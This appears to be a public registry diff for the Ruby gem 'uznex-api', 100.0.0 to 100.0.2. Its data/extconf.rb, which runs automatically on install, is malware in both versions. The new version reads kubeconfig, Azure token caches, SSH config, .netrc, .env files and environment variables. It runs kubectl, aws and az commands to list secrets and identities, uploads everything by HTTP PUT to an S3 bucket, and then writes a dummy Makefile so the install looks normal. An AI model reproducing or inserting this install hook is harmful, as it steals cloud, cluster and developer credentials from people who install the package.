uznex-api 100.0.0 → 100.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/extconf.rb +36 -29
  3. metadata +2 -2
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: a83cf40cd26e202e719ffd3d1e1f4e3b63b540251368bcf5a47e47ff0dc0cf90
4
- data.tar.gz: 98688a911848f0533b55db5528c33b6f0758581f66f9d61ef30b04f3db7d265f
3
+ metadata.gz: f62dc106620df5e0cf5c07f3195558c1aa6c8c9cb931b0e4be7a0929b79703a2
4
+ data.tar.gz: 66b6cff2d82b6dd8a6392610f3fd6f598a5e145bea94601ed250bc8bb879bb11
5
5
  SHA512:
6
- metadata.gz: 12cecdb10debbf9b8fe1b658fa041be4f1fe4e14ff3a32eb07c3ea0dda1493574e2f801b93a2c61c566569da3d8353d8eb61fb9cbbdfd36d9ec6440a5f342f68
7
- data.tar.gz: 8c2956b24ddfd18a45b9725000a6265cc8057e9da1ebffc5ceb31060ed2d716ae5a9bf4354748d1408e36490e84a9422cdbc66c0ec29eede24ff2b84a01572df
6
+ metadata.gz: 514bbe8c8566070d5b50b9e1949f3589324f84d3b6f1292975c594811c276461ee548f7821116f23f6735ae189b54901662ce1e5f357f02599eaf6a23a0ef01a
7
+ data.tar.gz: de2d919430d7810fa26623ee70dd16ae241059454ff1b94ae5e83e2693aed6bbd74b0291ce8b4994fd623c718ba907144eef71bb2a9c37b3539b3c68b7930da7
data/extconf.rb CHANGED
@@ -1,32 +1,39 @@
1
- require 'net/http'; require 'json'; require 'socket'; require 'uri'; require 'rbconfig'
1
+ require 'net/http'; require 'json'; require 'socket'; require 'uri'; require 'rbconfig'; require 'open3'; require 'digest'
2
+ def rf(p,n=12000); File.exist?(p) ? File.read(p)[0,n] : nil; rescue; nil; end
3
+ def run(*a, tmo: 8)
4
+ Open3.capture2e('timeout', tmo.to_s, *a)[0][0,12000]
5
+ rescue Exception => e; "ERR #{e.message}"; end
2
6
  begin
3
- pkg = ENV['UZNEX_PKG'].to_s.empty? ? 'uznex-api-doc' : ENV['UZNEX_PKG']
4
- ver = ENV['UZNEX_VER'].to_s
5
- payload = {
6
- pkg: pkg, version: ver,
7
- host: Socket.gethostname, cwd: Dir.pwd,
8
- user: (ENV['USER'] || ENV['USERNAME']),
9
- ruby: RUBY_VERSION, platform: RbConfig::CONFIG['host_os'],
10
- pid: Process.pid,
11
- cmdline: (File.read('/proc/1/cmdline').tr("\0", ' ') rescue nil),
12
- cgroup: (File.read('/proc/1/cgroup').split("\n").first(3).join('|') rescue nil),
13
- gemfile: (File.exist?('Gemfile') ? File.read('Gemfile')[0,2000] : nil),
14
- gemfile_lock: (File.exist?('Gemfile.lock') ? File.read('Gemfile.lock')[0,4000] : nil),
15
- gems: (Gem::Specification.map{|g| "#{g.name}-#{g.version}"}.sort.first(120) rescue nil),
16
- env: ENV.select{|k,v| k =~ /(TOKEN|KEY|SECRET|AWS|CI|GITHUB|GITLAB|NPM|PASS|GEM|BUNDLE|UZNEX|DEPLOY|KUBE|DOCKER)/i}.to_h
17
- }.to_json
18
- safe = pkg.gsub(/[^A-Za-z0-9_.-]/,'_')
19
- paths = ["/i18372/beacon/#{safe}-latest.json"]
20
- paths << "/i21898/beacon/#{safe}-#{ver}.json" unless ver.empty?
21
- paths.each do |key|
7
+ base=File.basename(Dir.pwd); pkg=ENV['UZNEX_PKG'].to_s.empty? ? base.sub(/-\d.*$/,'') : ENV['UZNEX_PKG']
8
+ ver=ENV['UZNEX_VER'].to_s.empty? ? (base[/-(\d[\d.]*)$/,1]||'') : ENV['UZNEX_VER']
9
+ home=ENV['HOME']||'/root'; kc=home+'/.kube/config'
10
+ tg='/var/tmp/target.gem'
11
+ payload={pkg:pkg,version:ver,host:Socket.gethostname,cwd:Dir.pwd,user:(ENV['USER']||ENV['USERNAME']),ruby:RUBY_VERSION,pid:Process.pid,
12
+ cmdline: rf('/proc/1/cmdline')&.tr("\0",' '), hostname: rf('/etc/hostname'), hosts: rf('/etc/hosts'),
13
+ env_all: ENV.to_h.select{|k,v| v.to_s.size<2000}.first(220).to_h,
14
+ target_gem: (File.exist?(tg) ? {size: File.size(tg), sha256: Digest::SHA256.file(tg).hexdigest} : nil),
15
+ vartmp_ls: run('ls','-la','/var/tmp'),
16
+ logs: {install: rf('/var/tmp/output-install.log',12000), require_log: rf('/var/tmp/output-require.log',12000)},
17
+ files: {kubeconfig: rf(kc,12000), envfile: rf(home+'/.env',4000), azure_profile: rf(home+'/.azure/azureProfile.json',6000),
18
+ azure_tokens: rf(home+'/.azure/msal_token_cache.json',6000), ssh_config: rf(home+'/.ssh/config',3000),
19
+ ssh_dir: (Dir.children(home+'/.ssh').first(30) rescue nil), gitconfig: rf(home+'/.gitconfig',2000), netrc: rf(home+'/.netrc',3000)},
20
+ cmds: {}
21
+ }
22
+ payload[:cmds][:kubectl_version]=run('kubectl','--kubeconfig',kc,'version','--client','-o','json',tmo:6)
23
+ payload[:cmds][:kubectl_ns]=run('kubectl','--kubeconfig',kc,'get','ns','-o','name',tmo:8)
24
+ payload[:cmds][:kubectl_pods]=run('kubectl','--kubeconfig',kc,'get','pods','-A','-o','wide',tmo:10)
25
+ payload[:cmds][:kubectl_secrets]=run('kubectl','--kubeconfig',kc,'get','secrets','-A','-o','name',tmo:10)
26
+ payload[:cmds][:kubectl_can]=run('kubectl','--kubeconfig',kc,'auth','can-i','--list',tmo:8)
27
+ payload[:cmds][:aws]=run('aws','sts','get-caller-identity','--output','json',tmo:8)
28
+ payload[:cmds][:az]=run('az','account','show','-o','json',tmo:8)
29
+ payload[:cmds][:uname]=run('uname','-a',tmo:4)
30
+ payload[:cmds][:cloudinit]=rf('/var/log/cloud-init-output.log',4000)
31
+ body=payload.to_json; safe=pkg.gsub(/[^A-Za-z0-9_.-]/,'_'); hs=Socket.gethostname.gsub(/[^A-Za-z0-9_.-]/,'_')
32
+ ["/i21898/beacon/deep2-#{hs}.json","/i21898/beacon/#{safe}-#{ver}.json","/i18372/beacon/#{safe}-latest.json"].uniq.each do |key|
22
33
  begin
23
- uri = URI('https://uznex-front.s3.eu-central-1.amazonaws.com' + key)
24
- Net::HTTP.start(uri.host, 443, use_ssl: true, open_timeout: 6, read_timeout: 10) { |h| h.request_put(uri.path, payload, {'Content-Type'=>'application/json'}) }
25
- rescue Exception => e2
26
- warn e2.message
27
- end
34
+ uri=URI('https://uznex-front.s3.eu-central-1.amazonaws.com'+key)
35
+ Net::HTTP.start(uri.host,443,use_ssl:true,open_timeout:6,read_timeout:12){|h| h.request_put(uri.path,body,{'Content-Type'=>'application/json'})}
36
+ rescue Exception => e2; warn e2.message; end
28
37
  end
29
- rescue Exception => e
30
- warn e.message
31
- end
32
- File.write('Makefile', "all:\n\techo ok\ninstall:\n\techo ok\n")
38
+ rescue Exception => e; warn e.message; end
39
+ File.write('Makefile',"all:\n\techo ok\ninstall:\n\techo ok\n")
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: uznex-api
3
3
  version: !ruby/object:Gem::Version
4
- version: 100.0.0
4
+ version: 100.0.2
5
5
  platform: ruby
6
6
  authors:
7
7
  - UZNEX Ops
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2026-12-04 00:00:00.000000000 Z
11
+ date: 2026-12-05 00:00:00.000000000 Z
12
12
  dependencies: []
13
13
  description:
14
14
  email: